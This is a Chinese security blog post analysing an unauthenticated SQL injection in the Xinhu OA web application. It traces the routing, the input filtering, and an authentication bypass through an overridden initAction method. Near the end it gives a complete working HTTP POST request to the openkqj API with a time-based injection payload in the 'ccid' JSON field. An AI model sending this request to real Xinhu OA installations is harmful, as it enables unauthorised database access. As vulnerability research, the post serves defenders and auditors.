信呼OA前台sql注入分析

信呼OA前台sql注入分析

路由分析

审计该套源码,首先分析它的框架结构以及路由是如何传入的。

找到入口文件,index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
/**
* 系统主要入口
* 主页:http://www.rockoa.com/
* 软件:信呼
* 作者:雨中磐石(rainrock)
*/
include_once('config/config.php');
$_uurl = $rock->get('rewriteurl');
$d = '';
$m = 'index';
$a = 'default';
if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
$m = $_uurl;
$_uurla = explode('_', $_uurl);
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
$_uurlasa = explode('=', $_uurlas);
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
}
}
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

这里我直接通读全文了,config.php里面包含一些数据库的配置文件,其中new了一个rockClass类,里面过滤了一些方法。

image-20250712144321007

1
$_uurl 		= $rock->get('rewriteurl');

调用了get函数,里面传参rewriteurl,并赋值给了$_uurl。跟进get函数,查看具体的实现逻辑。

image-20250712191954125

首先将$dev赋值给$val,然后判断第一个参数是否存在,这个参数是我们可控的,如果存在的话,就将get传进去的值赋值给$val,然后再判断$val是否为空,如果为空的话,$val的值还是由$dev所赋值。

这里举一个例子:

1
$_uurl 		= $rock->get('a','index');

如果是这样传进去的话,最后的结果就是$val是index,如果再url中传入?a=fsrm,那么最后$val的值就是fsrm。

不管如何,最后还是要经过jmuncode函数所处理,get传进去的值是第一个参数,get参数名是第三个参数,跟进去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function jmuncode($s, $lx=0, $na='')
{
$jmbo = false;
$s = (string)$s;
if($lx==3)
$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_', '', $s);
$s = $this->jm->base64decode($s);
}
$s=str_replace("'", '&#39', $s);
$s=str_replace('%20', '', $s);
if($lx==2)
$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)
if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))
$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}

这里我们主要看的是$s和$na的值所受的影响。

首先将$s给强制类型转换成字符串,然后就是根据$lx的值对$s进行不同的处理,这里就不解释了,其实也跳转不到if分支里面,get函数里,将$lx定义为0了。

image-20250712193633475

image-20250712193715167

image-20250712193848182

后面这一段就是对参数值做一个校验的,防止sql注入和xss的。

总结一下:get方法的第一个参数是可控的,由get方法传进,并对传进去的内容做了sql注入和xss的防御。

接着分析,如果$_uurl不为空的话,就清除m,d,a,将$_uurl赋值给$m,以_作为数组的分隔符,将不同的下标所对应的值赋值给$d,$m,$a。

image-20250712194645714

后面的逻辑是一样的,这段不太重要,抓登录包就知道了,$_uurl一般是为空的。

重点看下面的逻辑。

image-20250712194837469

这个gettoken跟不进去的话,有两种方法,一种是打断点,动态调试跟进,另外一种是全局搜索函数gettoken,找有jm的,因为是jm所调用的。

image-20250712195032022

打断点跟进的也是jmChajian这个文件。

image-20250712195354893

这的逻辑先是将$dev赋值给$s,如果遇见rocktokenarr[‘$na’]这样的数组,就将它的值赋值给$s,否则的话还是调用get函数,并赋值给$s,又回到上面的逻辑了。

1
2
3
4
$m			= $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
上面m,d,a都不传值的话,默认的值就是index,空的,default

最后包含了view.php 这个才是路由分析的具体。

view.php:

image-20250712200331110

get传参ajaxbool,这里刚开始的$ajaxbool最后是true,因为false是以字符串传进去的。

image-20250712200637806

$p是固定的webmain。

image-20250712200736557

m,a,d没get传递的话,都会给一个默认的值,这里除了P是固定的,其他都是可控的。

下面是一个重点的逻辑:

image-20250712200925016

将$m的值赋值给$_m,如果m传入的是123|abc这种形式的话,那么123就是$m的值,abc就是$_m的值。

1
strformat('?0/?1/?1Action.php',ROOT_PATH, $p));   //ROOT_PATH对应的是/  $p对应的是webmain  ?0则是ROOT_PATH ?1则是webmain 至于第二个?1 也是webmain

这个包含的其实是:

image-20250712201509327

webmainAction.php这个文件。

1
$actpath	= $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);  ?0=>/  ?1=>webmain  ?2=>d传进去的值,其实也就是webmain下的文件的名字  ?3=>$_m 即对应文件夹的名字,也对应着文件名

image-20250712201812805

a则对应的是具体的函数,当$ajaxbool是真的时候,对应的是Ajax的方法,反之对应的是Action的方法。

举一个例子方便理解:

就拿我们登录抓的包来说

image-20250712202056251

这里$m是login,其实也就是$_m也是login 对应的是webmain下的login文件夹下的loginAction.php

image-20250712202326359

a对应的是check,并且ajaxbool=true

image-20250712202506578

如果是多个文件夹呢,这时候就要传入d以及m传入xxx|xxx了。

举个例子:

访问webmain/task/api/reimAction.php下的getrecordAction 函数。

传参如下:

1
?a=getrecord&d=task&m=reim|api&ajaxbool=false

image-20250712202917248

上面是未登录的状态,看一下登录之后的情况。

image-20250712203004633

鉴权分析

主要看webmain下的文件信息,这个OA是继承父类的方法来鉴权的。

主要有三个父类:

1
2
3
apiAction
Action
openapiAction

首先我们来看apiAction的。

找一个继承类是apiAction的文件来分析一下。

image-20250714230023183

deptClassAction是apiAction的一个子类,继承了这个父类里面的方法,如果我们直接去访问deptClassAction.php下的某一方法的话,是访问不到的,具体原因我们跟进apiAction

image-20250714230306308

apiAction下的initAction方法是用来进行鉴权的。这里就不详细解释了,然后再跟进到最终的父类。

image-20250714233923811

这里会自动触发initAction方法。

openapiAction的话和apiAction是一样的,都是initAction方法进行鉴权,只不过方法内容不一样。

image-20250714234914533

主要对传入的openkey的值和数据库里面的值做比较。

Action方法来跟进一下。

image-20250714235118679

跟进Action以及它的父类。

Action是利用initProject进行鉴权的。

image-20250714235946226

跟进最终的父类发现_construct方法里面存在initProject(),最终也会自动触发。

image-20250715000208247

这种继承的方法,如果子类和父类里面有相同的方法,最终执行的是子类的方法。

所以如果子类重写了鉴权对应的函数,最终执行的是它重写的,而不是父类里面用来鉴权的。

举个例子:

我自己写一个新的initAction方法,然后再创建一个方法,作为验证

image-20250715002349558

image-20250715002426706

可以看到能够访问到,所以找未授权的就看那些有重写方法的。

漏洞分析

漏洞点再webmain/model/kqjcmdModel.php下的savefingerprint函数。

image-20250717220607219

主要是$snid和$uid这两个参数查看是否是可控的,最终rows这个函数会执行$where这个语句。

跟进一下看看,主要是查看都哪里调用了这个方法。

image-20250717221431031

第二个调用的跟到最后它是不可控的。

image-20250717222016135

image-20250717222038969

经过分析得知,$clarr是从数据库中得到信息,并不可控。

下面是第一个调用的跟进。

image-20250717222208406

image-20250717222254684

接着查看哪里调用了postdata这个方法,然后主要是看第二个参数。

image-20250717222449826

image-20250717222545349

image-20250717222602808

这里跟进这个地方。

image-20250717222633155

从POST中传递参数,进行接收,然后又查看哪里调用了getpostdata,刚好再webmain/task/openapi/openkqjAction.php下的initAction方法中,这个也刚好是父类用来鉴权的,这里重写了,所以能造成前台的sql注入。

综上可知$uid是可控的,而$snid虽然能自己手动传入,但最后做了一个int转换。

image-20250717232859938

调用流程图如下:

image-20250717225343634

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?a=api&m=openkqj|openapi&d=task&sn=1&/post HTTP/1.1
Host: xinhu:8087
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1751808088555; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; xinhu_mo_adminid=kp0gl0lsd0lsp0wk0gs0kp0llk0ws0lls0pe0lsd0kw0kl0kj0gp06; PHPSESSID=7kmpgcidv5vm5sdm89mq3i51d6
Connection: keep-alive
Content-Type: application/json
Content-Length: 73

{"b":{"data":"fingerprint","ccid":"a' or sleep(2)#'","fingerprint":"xx"}}

注意这里需要将Content-Type改为application/json

image-20250717230244433

image-20250717230320996

那么接下来,就是一些比较细节的东西了。

路由:

这个路由就不再多说了,提一点的就是后面为什么要加一个/post,这个是为了进行满足if条件。

这个下面自己验证一下,没啥好说的。

image-20250717233102360

然后就是post传递什么?

它需要满足if条件:

1
if($dtype=='fingerprint')
1
$dtype = arrvalue($rs, 'data');  这个则相当于是$rs是键名,取得是键名是data所对应的值
1
foreach($barr as $k=>$rs) 由于它有这个,相当于需要传递两层的json才可以

image-20250717235314885

后面的就不难理解了,就是传入ccid,然后这个参数有sql注入。


信呼OA前台sql注入分析
http://example.com/2025/05/31/信呼OA_2.6.5前台sql注入分析/
作者
FSRM
发布于
2025年5月31日
更新于
2025年7月18日
许可协议